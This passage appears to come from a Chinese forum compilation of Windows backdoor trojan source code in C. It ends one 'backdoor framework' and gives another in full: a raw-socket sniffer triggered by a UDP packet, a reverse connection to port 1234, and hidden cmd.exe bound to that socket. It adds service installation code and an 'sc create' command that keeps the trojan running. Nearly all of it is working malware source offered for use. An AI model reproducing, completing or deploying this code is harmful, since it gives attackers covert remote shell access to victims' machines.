//申请网络环境
int SetSocketDll(void) {
WSADATA wsaData;
if(SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &wsaData)){
return 0;
}
return 1;
}

//申请连接句柄
int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE) {
*Sock = socket(AF_INET , SOCKTYPE , IPPROTO_IP);
if(*Sock == SOCKET_ERROR)
return 0;
return 1;
}

//发送消息给用户端
void rnvCasemsg(SOCKET Sock, char *msg) {
if (strlen(msg) <= 0)
return;
send(Sock, msg, strlen(msg),0);
}

//发送带错误码的消息给用户端
void rnvErrorID(SOCKET Sock, char *msg) {
char rmsg[256] = {""};
sprintf(rmsg, "\r\nERROR>%s:%d\r\n", msg, GetLastError());
rnvCasemsg(Sock, rmsg);
}

//兼容nc和telnet
void ConDel1013(char *str) {
for(unsigned int i =0; i < strlen(str); i++)
if(str[i] == '\r' || str[i] == '\n')
str[i] = '\0';
}

extern MAINPARAMETERSTK mpStk;

//密码比较,这里可以加上md5
short chkPass(char *pass) {
if(strnicmp(pass, mpStk.szUserPasd, strlen(mpStk.szUserPasd))==0)
return 1;
return 0;
}

//分解命令行的函数
short getcmdline(char *comm, char *cmdline, short cont, short num){
short j = 0, geti = 0, is20 = 0;
for(short i = 0; comm[i] != '\0' && geti < num; i++){
if(comm[i] != ' ' || is20 >= 1){
if(comm[i] == '"') is20++;
else if(is20 >= 2 && comm[i] == ' ') is20 = 0;
else if(j < cont){
&nbs, p; &nb, sp; cmdline[geti * cont + j] = comm[i];
j++;
}
}
if(comm[i] == ' ' && geti < num && is20 == 0){
geti++;
j = 0;
}
}
return geti;
}

//获得本机IP函数
int msGetip(char *ipin, char* ipout){
char cHostName[80]="";
if((gethostname(cHostName, 80)) == SOCKET_ERROR)
return false;
struct hostent *Host = gethostbyname(cHostName);
if(NULL!=Host){
struct in_addr addr;
int i = 0;
while(Host->h_addr_list[i] != NULL){
memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else if(addr.S_un.S_un_b.s_b1 == 10 ){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else{
if(strlen(ipout) == 0){
strcpy(ipout, inet_ntoa(addr));
}
}
i++;
}
if(strlen(ipout) == 0) {
strcpy(ipout, ipin);
}
if(strlen(ipin) == 0){
strcpy(ipin, ipout);
}
return 1;
}
return 0;
}

　　还要来一个就是程序的头文件, 如下:

#include
#include
#include
#include
#include

//用户结构
typedef struct _USERCONTSTK{
int getCMD;
char* buff;
int ExitIn;
int Bann;
SOCKET UserSck;
HANDLE UserThreadHdB;
HANDLE hWritePipe;
HANDLE hWriteFile;
HANDLE hReadPipe;
HANDLE hReadFile;
SECURITY_ATTRIBUTES pipeattrA;
SECURITY_ATTRIBUTES pipeattrB;
PROCESS_INFORMATION procinfo;
}USERCONTSTK,*PUSERCONTSTK;

//后门参数结构
typedef struct _MAINPARAMETERSTK{
char szUserPasd[100];
char KeyData[100];
}MAINPARAMETERSTK,*PMAINPARAMETERSTK;

//嗅探数据结构
typedef struct _SNIFFERDATASTK{
char name[100];
char szIp[100];
char nPort[100];
}SNIFFERDATASTK,*PSNIFFERDATASTK;

//ip头部结构
typedef struct _iphdr {
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

//tcp头部结构
typedef struct _tcphdr {
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;

//udp头部结构
typedef struct _udphdr {
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
} UDP_HEADER;

//icmp头部结构
typedef struct _icmphdr {
BYTE i_type;
BYTE i_code;
USHORT i_cksum;
USHORT i_id;
USHORT i_seq;
ULONG timestamp;
}ICMP_HEADER;

//一些变量和函数的声名
extern MAINPARAMETERSTK mpStk;

extern void ConCloseSocket(SOCKET *Sock);
extern int LocalListen(SOCKET Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);
extern int SetSocketDll(void);
extern int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE);
extern void rnvCasemsg(SOCKET Sock, char *msg);
extern void rnvErrorID(SOCKET Sock, char *msg);
extern void ConDel1013(char *str);
extern short chkPass(char *pass);
extern short getcmdline(char *comm, char *cmdline, short cont, short num);
extern int msGetip(char *ipin, char* ipout);
extern void ConCloseHandle(HANDLE *Hand);
extern void xfree(char *bf);

　　所有的公共函数都在这里面.

后语:

　　之所以写这么多代码是因为我本人喜欢比较稳定的程序,大小不是问题,上面这个程序应该算是非常稳定的后门框架了(因为只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无限次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等等问题.

　　另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^_^.

　　以下是编译好后测试的一张图:
主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是"www.s8s8.net",密码为"zvrop".

　　发送数据包是用vc的-u发送udp数据,c:\x.txt里面的内容是:

　　代码:
　　www.s8s8.net zvrop 192.168.1.2 8888

　　分别是数据包标志,密码,反向连接ip,反向连接端口,中间用空格格开. 注意顺序不要颠倒.

第五个反弹木马代码：作者weibo

代码

headerf.h

这里面放了公共函数，还有一些声明

#ifndef _BDH_
#define _BDH_
#include
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

typedef struct _iphdr{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_frag;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

typedef struct _udphdr{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
}UDP_HEADER;

extern int StartSniffer();
extern void StartWSA();
extern void returnMessage(SOCKET *Sock,char *msg);
extern void CreatePipeInSock();
extern int SetSocketHandle(SOCKET *Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);

#endif

　　这里就是sniffer...这个sniffer只解析IP和UDP包。。。通过对UDP的解析来启动木马进程. 对于UDP解析来启动木马这块还没有怎么完善。只是很简单的。。。等待大家来补充了。。

　　最好解析UDP来提取内容。判断用户名。密码。然后启动木马进程
sniffer.cpp

代码

#include "headerf.h"
//---------------------------------------------------------------------------

//-----------------------------
char rcvbuf[65535];
SOCKADDR_IN siSource;
extern SOCKET ReSock;
char SourceIPAddr[16];
unsigned short SourcePort;
bool CanCon=true;
char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++\r\n"
"+EasyService BackDoor\r\n"
"+Coder By weibo(wbwap@sina.com)\r\n"
"+Site http://www.s8s8.net\r\n"
"++++++++++++++++++++++++++++++++++++\r\n";
//-----------------------------
void DecodeIpPack(char *buf,int irec);
void DecodeUdpPack(char *buf,unsigned int buflen);
int msGetip(char *ipin, char* ipout);
void StartBackDoor(SOCKET *Sock,char *IPaddr);
//------------------------------
int StartSniffer()
{
SOCKET SniffSock;
struct sockaddr_in addr;
unsigned char LocalName[256];
struct hostent * hp;
int ntime=1000;
int rec;
DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
char in[20]="",out[20]="";
StartWSA();
SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
addr.sin_family = AF_INET;
addr.sin_port = INADDR_ANY;
msGetip(in,out);
addr.sin_addr.S_un.S_addr = inet_addr(out);
bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr));
WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL);
while(1)
{
memset(rcvbuf,0,sizeof(rcvbuf));
rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0);
DecodeIpPack(rcvbuf,rec);

}
}
//---------------------------------------------------------------------------
void DecodeIpPack(char *buf,int irec)
{
int iproto;
int iIphlen;
IP_HEADER *pIPheader;
pIPheader = (IP_HEADER *)buf;
iproto=pIPheader->proto;
iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver & 0xf);

if (iproto == IPPROTO_UDP)
{
siSource.sin_addr.s_addr = pIPheader->sourceIP;
strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16);
//printf("包类型:%s\n源IP:%s ","UDP",SourceIPAddr);
DecodeUdpPack(buf+iIphlen,irec);
}

}

void DecodeUdpPack(char *buf,unsigned int buflen)
{
char str[10];
UDP_HEADER *pUdpheader;
pUdpheader=(UDP_HEADER *)buf;
siSource.sin_port = pUdpheader->uh_sport;
SourcePort=ntohs(siSource.sin_port);

//这个地方就是判断是否启动进程的地方！！！！！！！！！！！！！！！！！！！
//这里是 如果塬端口为9876 才会起动木马进程。。连接你的1234断口 这些都可以改
//最好的方法是Decode UDP包。。然后分析内容。。。作判断是否打开木马。。。。
//没时间了。。。。

if(CanCon)
{
if(SourcePort == 9876)
{
StartBackDoor(&ReSock,SourceIPAddr);
}
CanCon=false;
}
}

int msGetip(char *ipin, char* ipout)
{
char cHostName[80]="";
if((gethostname(cHostName, 80)) == SOCKET_ERROR)
return false;
struct hostent *Host = gethostbyname(cHostName);
if(NULL!=Host){
struct in_addr addr;
int i = 0;
while(Host->h_addr_list[i] != NULL){
memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else if(addr.S_un.S_un_b.s_b1 == 10 ){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else{
if(strlen(ipout) == 0){
strcpy(ipout, inet_ntoa(addr));
}
}
i++;
}
if(strlen(ipout) == 0) {
strcpy(ipout, ipin);
}
if(strlen(ipin) == 0){
strcpy(ipin, ipout);
}
return 1;
}
return 0;
}

void StartBackDoor(SOCKET *Sock,char *IPaddr)
{
int rec;
//StartWSA();
SetSocketHandle(Sock);
rec = ContoReServer(Sock,1234,IPaddr);
returnMessage(Sock,WelcomeBuff);
CreatePipeInSock();
switch(rec)
{
case 0:
closesocket(ReSock);
CanCon = true;
break;
case 1:
CanCon = false;
break;
}
}

　　这就是服务的主体。。。。。。。

　　本来还有个自动加为服务的功能。。。没时间了，马上走了。收拾东西去。。~~~~ZV来写吧。。。。
　　可以用 CreateService()函数。。
　　服务这块需要大家来改进~~
con.cpp

代码

#include "headerf.h"
//---------------------------------------------------------------------------
STARTUPINFO si;
PROCESS_INFORMATION pi;
SOCKET ReSock;
//-------------------------------

//---------------------------
void StartWSA()
{
WSADATA wsa;

WSAStartup(MAKEWORD(2,2),&wsa);
}

int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr)
{
int namelen;
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.S_un.S_addr = inet_addr(reAddr);
namelen = sizeof(server_addr);
if(connect(*sock, (SOCKADDR *)&server_addr,namelen) < 0 )
return 0;
return 1;
}

int SetSocketHandle(SOCKET *Sock)
{
*Sock = WSASocket(PF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if(*Sock == SOCKET_ERROR)
return 0;
return 1;
}

void returnMessage(SOCKET *Sock,char *msg)
{
if (strlen(msg) <= 0)
return;
send(*Sock,msg,strlen(msg),0);
}
//下面这个是重订向si到Resock....等于一个简单的管道。。
//没太多时间。为了省事。。能实现cmd.
//最好能改写成管道CreatePipe()..
//这样可以对数据进行分析。。以便加入别的控制。。。。。。
void CreatePipeInSock()
{
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)ReSock;
CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
}

　　backdoor.cpp

代码

#include "headerf.h"
//---------------------------------------------------------------------------
const int c_nEventCt = 3;
const int c_nEventIndexPause = 0;
const int c_nEventIndexContinue = 1;
const int c_nEventIndexStop = 2;
HANDLE g_arEventControl[c_nEventCt];
SERVICE_STATUS_HANDLE g_ssh;
DWORD g_dwStatus = SERVICE_STOPPED;
#pragma argsused
//服务状态给SCM
void SetStatus(DWORD dwStatus)
{
SERVICE_STATUS ss =
{
SERVICE_WIN32_OWN_PROCESS,
SERVICE_STOPPED,
SERVICE_ACCEPT_PAUSE_CONTINUE|
SERVICE_ACCEPT_STOP,
NO_ERROR,
0,
1,
5000
};
ss.dwCurrentState = dwStatus;
SetServiceStatus(g_ssh,&ss);
g_dwStatus = dwStatus;
}

//命令处理
VOID __stdcall Handler(DWORD dwCtl)
{
switch(dwCtl)
{
case SERVICE_CONTROL_STOP:
WSACleanup();
break;

default:
//nomal
break;
}
}

bool HandleControl()
{
bool bContinueRunning(true);

DWORD dwWait = WaitForMultipleObjects(
c_nEventCt,
g_arEventControl,
FALSE,
0
);
int nIndex = dwWait - WAIT_OBJECT_0;
if(nIndex>=0 && nIndex_nEventCt)
{
ResetEvent(g_arEventControl[nIndex]);

switch(nIndex)
{
case c_nEventIndexPause:
SetStatus(SERVICE_PAUSED);
break;
case c_nEventIndexContinue:
SetStatus(SERVICE_RUNNING);
break;
case c_nEventIndexStop:
SetStatus(SERVICE_STOP_PENDING);
bContinueRunning = false;
break;
}
}
return (bContinueRunning);
}

VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv)
{
g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL);
g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL);
g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL);

g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler);

SetStatus(SERVICE_START_PENDING);
SetStatus(SERVICE_RUNNING);

while(HandleControl())
{
if(g_dwStatus == SERVICE_RUNNING)
{

StartSniffer();

}

}

for(int nEvent = 0;nEvent < c_nEventCt;++nEvent)
{
CloseHandle(g_arEventControl[nEvent]);
g_arEventControl[nEvent] = INVALID_HANDLE_VALUE;

}

SetStatus(SERVICE_STOPPED);
}

int __stdcall WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdLine,
int nCmdShow
)
{
SERVICE_TABLE_ENTRY arSvc[] =
{
{"ConEvent",ServiceMain},
{NULL,NULL}
};

StartServiceCtrlDispatcher(arSvc);
return 0;
}

　　手动加为服务

　　编译好后
　　进入cmd

　　运行 sc create 随便一个名字 binpath= path

　　例子: sc create BackDoor binpath= c:\backdoor.exe

　　这个很草。。。。。。等我度过军训。有时间了。。回来再写~~~~88